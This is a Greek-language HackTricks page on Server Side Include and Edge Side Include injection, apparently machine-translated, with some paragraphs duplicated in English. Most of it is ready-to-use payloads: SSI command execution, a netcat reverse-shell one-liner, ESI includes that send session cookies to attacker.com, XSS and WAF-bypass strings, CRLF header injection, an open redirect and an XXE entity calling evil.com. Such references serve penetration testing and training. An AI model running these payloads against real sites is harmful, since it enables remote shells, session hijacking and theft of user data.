Server Side Inclusion/Edge Side Inclusion Injection

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες για την Ενσωμάτωση Εξυπηρετητή

(Η εισαγωγή προέρχεται από τα Apache docs)

Οι SSI (Server Side Includes) είναι οδηγίες που τοποθετούνται σε σελίδες HTML και αξιολογούνται στον εξυπηρετητή κατά την παροχή των σελίδων. Σας επιτρέπουν να προσθέτετε δυναμικά δημιουργημένο περιεχόμενο σε μια υπάρχουσα σελίδα HTML, χωρίς να χρειάζεται να παρέχετε ολόκληρη τη σελίδα μέσω ενός προγράμματος CGI ή άλλης δυναμικής τεχνολογίας. Για παράδειγμα, μπορείτε να τοποθετήσετε μια οδηγία σε μια υπάρχουσα σελίδα HTML, όπως:

<!--#echo var="DATE_LOCAL" -->

Και, όταν η σελίδα παρέχεται, αυτό το απόσπασμα θα αξιολογηθεί και θα αντικατασταθεί με την τιμή του:

Τρίτη, 15-Ιαν-2013 19:28:54 EST

Η απόφαση για το πότε να χρησιμοποιήσετε SSI και πότε να έχετε τη σελίδα σας πλήρως δημιουργημένη από κάποιο πρόγραμμα, είναι συνήθως θέμα του πόσο μεγάλο μέρος της σελίδας είναι στατικό και πόσο χρειάζεται να επανυπολογίζεται κάθε φορά που παρέχεται η σελίδα. Η SSI είναι ένας εξαιρετικός τρόπος για να προσθέσετε μικρά κομμάτια πληροφοριών, όπως η τρέχουσα ώρα - που φαίνεται παραπάνω. Αλλά εάν ένα μεγάλο μέρος της σελίδας σας δημιουργείται κατά την παροχή της, πρέπει να αναζητήσετε κάποια άλλη λύση.

Μπορείτε να συμπεράνετε την παρουσία της SSI εάν η web εφαρμογή χρησιμοποιεί αρχεία με τις επεκτάσεις ** .shtml, .shtm ή .stm**, αλλά δεν είναι μόνο αυτή η περίπτωση.

Μια τυπική έκφραση SSI έχει την ακόλουθη μορφή:

<!--#directive param="value" -->

Έλεγχος

Για να ελέγξετε αν μια εφαρμογή είναι ευάλωτη σε επίθεση Server-Side Inclusion (SSI) ή Edge-Side Inclusion (ESI) Injection, μπορείτε να ακολουθήσετε τα παρακάτω βήματα:

  1. Ελέγξτε τον κώδικα της εφαρμογής για τυχόν αδυναμίες ασφαλείας που μπορεί να επιτρέπουν την εκτέλεση κακόβουλου κώδικα.

  2. Αναζητήστε ενδείξεις ότι η εφαρμογή χρησιμοποιεί SSI ή ESI, όπως τα ακόλουθα στοιχεία:

    • Χρήση των διευθύνσεων URL που περιέχουν τον χαρακτήρα "#" ή τον χαρακτήρα "!".

    • Χρήση των εντολών SSI, όπως το <!--#include virtual="file.txt" -->.

    • Χρήση των εντολών ESI, όπως το <esi:include src="file.txt" />.

  3. Εκτελέστε δοκιμές εισχώρησης για να ελέγξετε αν μπορείτε να εισχωρήσετε κακόβουλο κώδικα μέσω των εντολών SSI ή ESI. Χρησιμοποιήστε ειδικούς χαρακτήρες, όπως το <!--#exec cmd="ls" --> για SSI ή το <esi:include src="http://evil.com/malicious.js" /> για ESI.

  4. Ελέγξτε την απόκριση της εφαρμογής για να δείτε αν ο κακόβουλος κώδικας εκτελέστηκε με επιτυχία.

  5. Αναφέρετε τυχόν ευπάθειες που ανακαλύψατε στους υπεύθυνους της εφαρμογής, ώστε να μπορέσουν να ληφθούν τα απαραίτητα μέτρα ασφαλείας.

Αυτές οι διαδικασίες θα σας βοηθήσουν να ελέγξετε την ευπάθεια μιας εφαρμογής σε επίθεση SSI ή ESI Injection. Είναι σημαντικό να είστε προσεκτικοί και να τηρείτε τους κανόνες ασφαλείας κατά την εκτέλεση αυτών των ελέγχων.

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Υπάρχει ένα πρόβλημα με την προσωρινή αποθήκευση πληροφοριών ή δυναμικών εφαρμογών καθώς μέρος του περιεχομένου μπορεί να μεταβληθεί για την επόμενη φορά που θα ανακτηθεί το περιεχόμενο. Αυτό είναι αυτό που χρησιμοποιείται η ESI, για να υποδείξει χρησιμοποιώντας ετικέτες ESI το δυναμικό περιεχόμενο που πρέπει να δημιουργηθεί πριν αποσταλεί η αποθηκευμένη έκδοση. Εάν ένας επιτιθέμενος είναι σε θέση να εισαγάγει μια ετικέτα ESI μέσα στο περιεχόμενο της προσωρινής αποθήκευσης, τότε μπορεί να είναι σε θέση να εισάγει αυθαίρετο περιεχόμενο στο έγγραφο πριν αποσταλεί στους χρήστες.

Ανίχνευση ESI

Ο παρακάτω κεφαλίδα σε μια απάντηση από τον διακομιστή σημαίνει ότι ο διακομιστής χρησιμοποιεί ESI:

Surrogate-Control: content="ESI/1.0"

Εάν δεν μπορείτε να βρείτε αυτήν την κεφαλίδα, ο διακομιστής μπορεί να χρησιμοποιεί ESI ούτως ή άλλως. Μια τυφλή προσέγγιση εκμετάλλευσης μπορεί επίσης να χρησιμοποιηθεί καθώς ένα αίτημα θα πρέπει να φτάσει στον διακομιστή του επιτιθέμενου:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Εκμετάλλευση ESI

Η GoSecure δημιούργησε έναν πίνακα για να κατανοήσει τις πιθανές επιθέσεις που μπορούμε να δοκιμάσουμε εναντίον διαφορετικού λογισμικού που υποστηρίζει ESI, ανάλογα με την υποστηριζόμενη λειτουργικότητα:

  • Includes: Υποστηρίζει την οδηγία <esi:includes>

  • Vars: Υποστηρίζει την οδηγία <esi:vars>. Χρήσιμο για την απόφυγη των XSS φίλτρων

  • Cookie: Τα cookies του εγγράφου είναι προσβάσιμα από τη μηχανή ESI

  • Απαιτούνται επικεφαλίδες από τον πάνω ροή: Οι εφαρμογές surrogate δεν θα επεξεργαστούν δηλώσεις ESI εκτός αν η πάνω ροή παρέχει τις επικεφαλίδες

  • Λευκή λίστα κεντρικού διακομιστή: Σε αυτήν την περίπτωση, οι ESI περιλήψεις είναι δυνατές μόνο από επιτρεπόμενους διακομιστές, καθιστώντας δυνατή, για παράδειγμα, την SSRF μόνο εναντίον αυτών των διακομιστών

Λογισμικό

Includes

Vars

Cookies

Απαιτούνται επικεφαλίδες από τον πάνω ροή

Λευκή λίστα κεντρικού διακομιστή

Squid3

Ναι

Ναι

Ναι

Ναι

Όχι

Varnish Cache

Ναι

Όχι

Όχι

Ναι

Ναι

Fastly

Ναι

Όχι

Όχι

Όχι

Ναι

Akamai ESI Test Server (ETS)

Ναι

Ναι

Ναι

Όχι

Όχι

NodeJS esi

Ναι

Ναι

Ναι

Όχι

Όχι

NodeJS nodesi

Ναι

Όχι

Όχι

Όχι

Προαιρετικό

XSS

Η ακόλουθη οδηγία ESI θα φορτώσει ένα αυθαίρετο αρχείο μέσα στην απόκριση του διακομιστή

<esi:include src=http://attacker.com/xss.html>

Παράκαμψη προστασίας XSS του πελάτη

In some cases, the client-side XSS protection mechanisms implemented in web applications may not be sufficient to prevent XSS attacks. However, there are techniques that can be used to bypass these protections and successfully execute XSS payloads.

Σε ορισμένες περιπτώσεις, οι μηχανισμοί προστασίας XSS που έχουν εφαρμοστεί στις εφαρμογές ιστού του πελάτη ενδέχεται να μην είναι επαρκείς για να αποτρέψουν επιθέσεις XSS. Ωστόσο, υπάρχουν τεχνικές που μπορούν να χρησιμοποιηθούν για να παρακαμφθούν αυτές οι προστασίες και να εκτελεστούν με επιτυχία φορτία XSS.

One common technique is to use different encoding or obfuscation methods to evade the client-side XSS filters. This can include encoding special characters, using alternative representations of the payload, or employing JavaScript functions to dynamically generate the payload at runtime.

Μία συνηθισμένη τεχνική είναι η χρήση διαφορετικών μεθόδων κωδικοποίησης ή απόκρυψης για να αποφευχθούν οι φίλτρα XSS του πελάτη. Αυτό μπορεί να περιλαμβάνει την κωδικοποίηση ειδικών χαρακτήρων, τη χρήση εναλλακτικών αναπαραστάσεων του φορτίου ή τη χρήση συναρτήσεων JavaScript για τη δυναμική δημιουργία του φορτίου κατά την εκτέλεση.

Another approach is to exploit vulnerabilities in the web application's server-side code that can be used to inject and execute malicious scripts. This can include server-side inclusion vulnerabilities, such as Server-Side Template Injection (SSTI) or Server-Side Request Forgery (SSRF), which can be leveraged to bypass client-side XSS protections.

Μια άλλη προσέγγιση είναι η εκμετάλλευση ευπαθειών στον κώδικα της εφαρμογής ιστού στην πλευρά του διακομιστή που μπορούν να χρησιμοποιηθούν για την εισαγωγή και εκτέλεση κακόβουλων σεναρίων. Αυτό μπορεί να περιλαμβάνει ευπάθειες στην πλευρά του διακομιστή, όπως η ενσωμάτωση πλευράς διακομιστή (Server-Side Template Injection - SSTI) ή η πλαστογραφία αιτήσεων πλευράς διακομιστή (Server-Side Request Forgery - SSRF), οι οποίες μπορούν να χρησιμοποιηθούν για την παράκαμψη των προστασιών XSS του πελάτη.

It is important for penetration testers and developers to be aware of these techniques in order to effectively test and secure web applications against XSS attacks.

Είναι σημαντικό οι ειδικοί σε δοκιμές διείσδυσης και οι προγραμματιστές να είναι ενήμεροι για αυτές τις τεχνικές προκειμένου να δοκιμάσουν και να ασφαλίσουν αποτελεσματικά τις εφαρμογές ιστού από επιθέσεις XSS.

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
  • Απομακρυσμένη κλοπή cookie

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • Κλέψτε το cookie HTTP_ONLY με XSS ανακλώντας το στην απόκριση:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Ιδιωτικό Τοπικό Αρχείο

Μην το συγχέετε με την "Ενσωμάτωση Τοπικού Αρχείου":

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed) είναι μια ακολουθία χαρακτήρων που αποτελείται από έναν χαρακτήρα επιστροφής καρέτου (CR) και έναν χαρακτήρα τελείας γραμμής (LF). Αυτή η ακολουθία χρησιμοποιείται για να υποδείξει το τέλος μιας γραμμής κειμένου σε πολλά συστήματα λειτουργίας.

Η εκμετάλλευση του CRLF μπορεί να οδηγήσει σε ευπάθειες όπως η εισχώρηση σε ένα σύστημα μέσω ενός επιθέτου HTTP Response Splitting. Αυτό συμβαίνει όταν ο επιτιθέμενος εισάγει τον χαρακτήρα CRLF σε μια αίτηση HTTP, προκαλώντας την αναγνώριση της ακολουθίας ως διαχωριστικό γραμμής από τον διακομιστή. Αυτό μπορεί να οδηγήσει σε διάφορες επιθέσεις, όπως την εισχώρηση σε αρχεία καταγραφής, την εισχώρηση σε αρχεία διαμόρφωσης και τη διαρροή ευαίσθητων πληροφοριών.

Για να προστατευθείτε από επιθέσεις CRLF, πρέπει να ελέγξετε την είσοδο χρηστών και να αποφεύγετε την εισαγωγή του χαρακτήρα CRLF σε αιτήσεις HTTP. Επίσης, είναι σημαντικό να ενημερώνετε το λογισμικό σας και να εφαρμόζετε τις τελευταίες ενημερώσεις ασφαλείας για να αποτρέψετε τυχόν ευπάθειες που εκμεταλλεύονται το CRLF.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Ανακατεύθυνση σε ανοιχτή πηγή

Το παρακάτω θα προσθέσει έναν κεφαλίδα Location στην απόκριση

<!--esi $add_header('Location','http://attacker.com') -->

Προσθήκη Κεφαλίδας

  • Προσθέστε μια κεφαλίδα στο αναγκαστικό αίτημα

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Προσθέστε κεφαλίδα στην απόκριση (χρήσιμο για να παρακάμψετε το "Content-Type: text/json" σε μια απόκριση με XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF στην προσθήκη κεφαλίδας (CVE-2019-2438)

Ο ευπάθεια αυτή αφορά την προσθήκη κεφαλίδας με CRLF (Carriage Return Line Feed) σε αιτήματα HTTP. Αυτό μπορεί να οδηγήσει σε εκτέλεση κακόβουλου κώδικα ή σε διάρροια πληροφοριών. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την ευπάθεια για να προσθέσει κακόβουλες κεφαλίδες στις απαντήσεις του διακομιστή, προκαλώντας πιθανώς επιθέσεις XSS (Cross-Site Scripting) ή άλλες επιθέσεις.

Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να εισάγετε τον κακόβουλο κώδικα μεταξύ των χαρακτήρων CRLF. Αυτό μπορεί να γίνει με τη χρήση ειδικών χαρακτήρων, όπως το %0d για τον χαρακτήρα CR και το %0a για τον χαρακτήρα LF. Ο κακόβουλος κώδικας που εισάγετε μπορεί να περιλαμβάνει εντολές εκτέλεσης κώδικα, αλλαγή κεφαλίδων ή ακόμα και διαρροή πληροφοριών.

Για να προστατευθείτε από αυτήν την ευπάθεια, πρέπει να ελέγξετε την είσοδο των χρηστών και να αποφεύγετε την αυτόματη προσθήκη κεφαλίδων στις απαντήσεις του διακομιστή. Επίσης, πρέπει να ενημερώνετε το λογισμικό σας για τυχόν ενημερώσεις ασφαλείας που διορθώνουν αυτήν την ευπάθεια.

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Αποσφαλμάτωση Akamai

Αυτό θα στείλει πληροφορίες αποσφαλμάτωσης που περιλαμβάνονται στην απόκριση:

<esi:debug/>

ESI + XSLT = XXE

Με την καθορισμένη τιμή xslt για την παράμετρο dca, είναι εφικτή η συμπερίληψη eXtensible Stylesheet Language Transformations (XSLT) βασισμένου ESI. Η συμπερίληψη προκαλεί τον HTTP surrogate να ανακτήσει τα αρχεία XML και XSLT, με το τελευταίο να φιλτράρει το πρώτο. Τέτοια αρχεία XML είναι εκμεταλλεύσιμα για επιθέσεις XML External Entity (XXE), επιτρέποντας στους επιτιθέμενους να εκτελέσουν επιθέσεις SSRF. Ωστόσο, η χρησιμότητα αυτής της προσέγγισης είναι περιορισμένη, αφού οι ESI συμπεριλήψεις ήδη λειτουργούν ως διανύσματα SSRF. Λόγω της έλλειψης υποστήριξης στην υποκείμενη βιβλιοθήκη Xalan, τα εξωτερικά DTD δεν επεξεργάζονται, εμποδίζοντας την εξαγωγή τοπικών αρχείων.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

Αρχείο XSLT:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Ελέγξτε τη σελίδα XSLT:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Αναφορές

Λίστα Ανίχνευσης Βίαιης Δύναμης

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated